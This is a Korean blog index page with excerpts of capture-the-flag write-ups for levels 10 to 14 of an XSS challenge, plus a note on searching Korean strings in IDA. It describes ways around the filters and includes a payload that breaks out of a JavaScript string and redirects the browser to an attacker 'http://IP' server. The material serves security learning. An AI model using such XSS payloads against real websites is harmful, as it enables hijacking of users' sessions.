☁️ Guleum LAB

14단계부터는 조금씩 난이도가 올라가는 것으로 보입니다. 메인 페이지에는 다소 심플한 디자인을 가지고 있기에 소스를 보면서 분석을 해보도록 하겠습니다. 보이는 포인트가 딱 2곳이 확인됩니다. 첫번째는 analytics.js.js 부분과 try_harder 변수입니다. 스크롤 제일 하단으로 내려보면 analytics.js 파일이 하나 더 존재합니다. 3번째 줄의 analytics.js.js는 유효하지 않은 경로이며 스크롤 제일 하단에는 유효한 경로가 입력되어 있습니다. 입력하고자 하는 파라미터의 값을 모두 제거해보면 src에 부여된 경로는 제거되어 있지만. js는 고정적으로 남아 있습니다. 입력 값 검증은 어떻게 진행되나 확인해보면 굉장히 타이트하게 검증하고 있어 임의 자바스크립트 구문을 삽입하여 실행시킬..

각종 애플리케이션을 분석하거나 진단할 때 특정 함수를 추측하여 트레이스 하거나 문자열 검색을 통해 포인트를 찾아야 됩니다. 하지만 국내에서 개발된 제품을 이용하다 보면 대부분이 "한글"로 이루어져 있기 때문에 IDA와 유사한 Ghidra에서는 한글을 통한 문자열 검색이 되지 않습니다. 이럴 때는 IDA의 기능을 이용하면 보다 수월하게 탐색할 수 있습니다. 만약 IDA 7.0 이하의 버전을 사용 중이시라면 한글 파싱을 가능하게끔 컬처파일(.clt)을 추가해줘야 됩니다. 추가 방법은 아래의 링크를 통해 진행해주시면 됩니다. http://egloos.zum.com/shadowxx/v/11310107 ida 한글 string (character) 제대로 읽어오게 만들기. 요즘 프로그램 디버깅 차원에서 몇가지 테..

13단계 메인 페이지를 확인해보면 전 단계와 유사한 디자인을 가지고 있으며, 12단계에서 사용된 Payload가 동작할 수도 동작하지 않을 수도 있다는 내용이 담겨있습니다. 제가 사용했던 Payload는 동작하지 않았으므로 코드를 살펴보겠습니다. 동일하게 태그를 통해 untrusted 도메인이 선언되어 있습니다. 스크롤이 너무 남아 밑으로 내려보니 ` (백 쿼터)를 사용해주면 팝업창은 무리 없이 띄울 수 있지만 뭔가 다른 방식을 통해 m 변수에 선언된 "Good Luck!"을 띄워주고 싶습니다. () Bypass 기본적으로 " () " 괄호 필터링의 우회 기법을 " `(Back Quote)" 로 많이 사용하지만 이 방법 이외에 아래와 같은 2가지 속성을 이용해 괄호 사용을 피할 수 있습니다. 1. Con..

12단계는 다소 다른 모습의 페이지로 확인됩니다. 소스코드를 먼저 보면서 해결해나가 보도록 하겠습니다. 이전 단계에서는 자바스크립트에 선언된 변수를 활용해서 팝업창을 띄웠더라면 이제는 의 태그에 부여된 주소를 활용하여 해결해야 되는 문제인 것 같습니다. src="" 속성에 부여된 untrusted 페이지로 이동해보겠습니다. untrusted.so.co.il 페이지는 이전 단계에서 보여졌던 페이지들처럼 다소 심플한 화면을 띄우고 있습니다. 해당 페이지 소스코드를 확인해 보겠습니다. 위에서부터 확인해보시면 변수 m에는 'Good Luck!' String 문자열이 선언되어 있으며. php? p=에 입력된 Payload는 12번째 줄의 a 변수에 'Payload'; 형태로 삽입되고 있습니다. 기본적으로 " ';..

레벨 11단계를 보시면 비교적 심플한 페이지 구성으로 되어 있습니다. 우선 소스코드 먼저 보도록 하겠습니다. 이번에는 다소 복잡한 코드들로 구성되어 있습니다. .php?p=에 입력된 Payload는 "a"라는 변수에 담기게 됩니다. 11단계에서부터는 실행 가능한 입력 값 이외에는 모두 예외처리를 진행하고 있어 별도의 블록 화면이 나타나게 됩니다. 이문제를 푸신분들은 저 "Hacking attempt" 화면을 수십 번 봤을 것이라 생각합니다... 저는 해결하기 위해 여러 기법들의 Bofore After를 분석했는데 도저희 실행가능한 구문을 못 찾았습니다.. 힌트라고는 존재하지 않는 챌린지기 때문에 한참을 헤매다가 security.stackexchange.com에서 우연히 해결법을 확인했습니다. 결론적으로 ..

level 10단계를 진행하겠습니다. 표면상 보이는 화면은 이전과 유사한 모습을 띄우고 있습니다. 내부 코드를 먼저 살펴보도록 하겠습니다. 10단계에서는 a와 b라는 변수와 값이 선언되어 있는 상태입니다. 우리가 입력할 Payload는 "a" 변수에 담기도록 되어있는데 document.write 속성을 통해 값이 실행되는 것을 보실 수 있습니다. document.write()의 기능은 Document Object의 함수로 인수 값을 웹 브러우저 화면에 텍스트 형식으로 출력해주는 기능을 가지고 있습니다. ';{document.location.href="http://IP"}// 9단계에서 진행한 방법대로 a변수를 닫아 마무리(;)해주고 공격자 서버를 로드시켜 스크립트가 실행되도록 해주면 될 것 같습니다. 뒤..

한동안 올리지 못했던 XSS 챌린지를 오랜만에 다시 풀게 되었습니다. 제가 재미있게 풀고 있는 Alexander Korznikov의 XSS 챌린지의 장점은 기존의 XSS 게임과는 다르게 파회 법을 올린 사람들이 많이 없으며(국내에서는 본 적이 없네요..) 출제자의 의도를 알아서 파악하고 일말의 힌트 없이 공략 한다는 점에서 더욱 애착이 가고 몰입이 되는 거 같습니다. 공략 페이지는 굉장히 심플합니다. Reflected 방식으로 파라미터에 적절한 Payload가 삽입될 경우 다이얼로그 팝업창을 띄우실 수 있습니다. 이전 단계(8-1) 의 소스와 유사한 형태의 코드를 가지고 있습니다. b라는 변수에는 "1"이 선언되어 있고 if 조건문을 통해 스크립트가 실행될 수 있도록 구문을 완성시켜야 됩니다. b의 변수..